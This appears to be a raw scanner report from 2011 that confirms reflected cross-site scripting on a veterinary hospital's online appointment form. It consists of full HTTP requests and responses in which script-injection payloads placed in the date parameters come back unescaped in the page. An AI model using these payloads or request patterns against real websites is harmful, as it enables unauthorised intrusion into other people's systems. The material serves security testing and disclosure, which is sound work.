<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="'"--></style></script><script>netsparker(0x000E8F)</script>" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET '"--></style></script><script>alert(0x000E90)</script>
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET 9ccc514715d73f9c59f7194da171194f
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000E90)%3C/script%3E&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=9ccc514715d73f9c59f7194da171194f&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:47:22 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="'"--></style></script><script>netsparker(0x000E90)</script>" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET '"--></style></script><script>alert(0x000E91)</script>
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET b6c641b52561f94ce567a806d0c922d4
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000E91)%3C/script%3E&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=b6c641b52561f94ce567a806d0c922d4&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:47:26 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
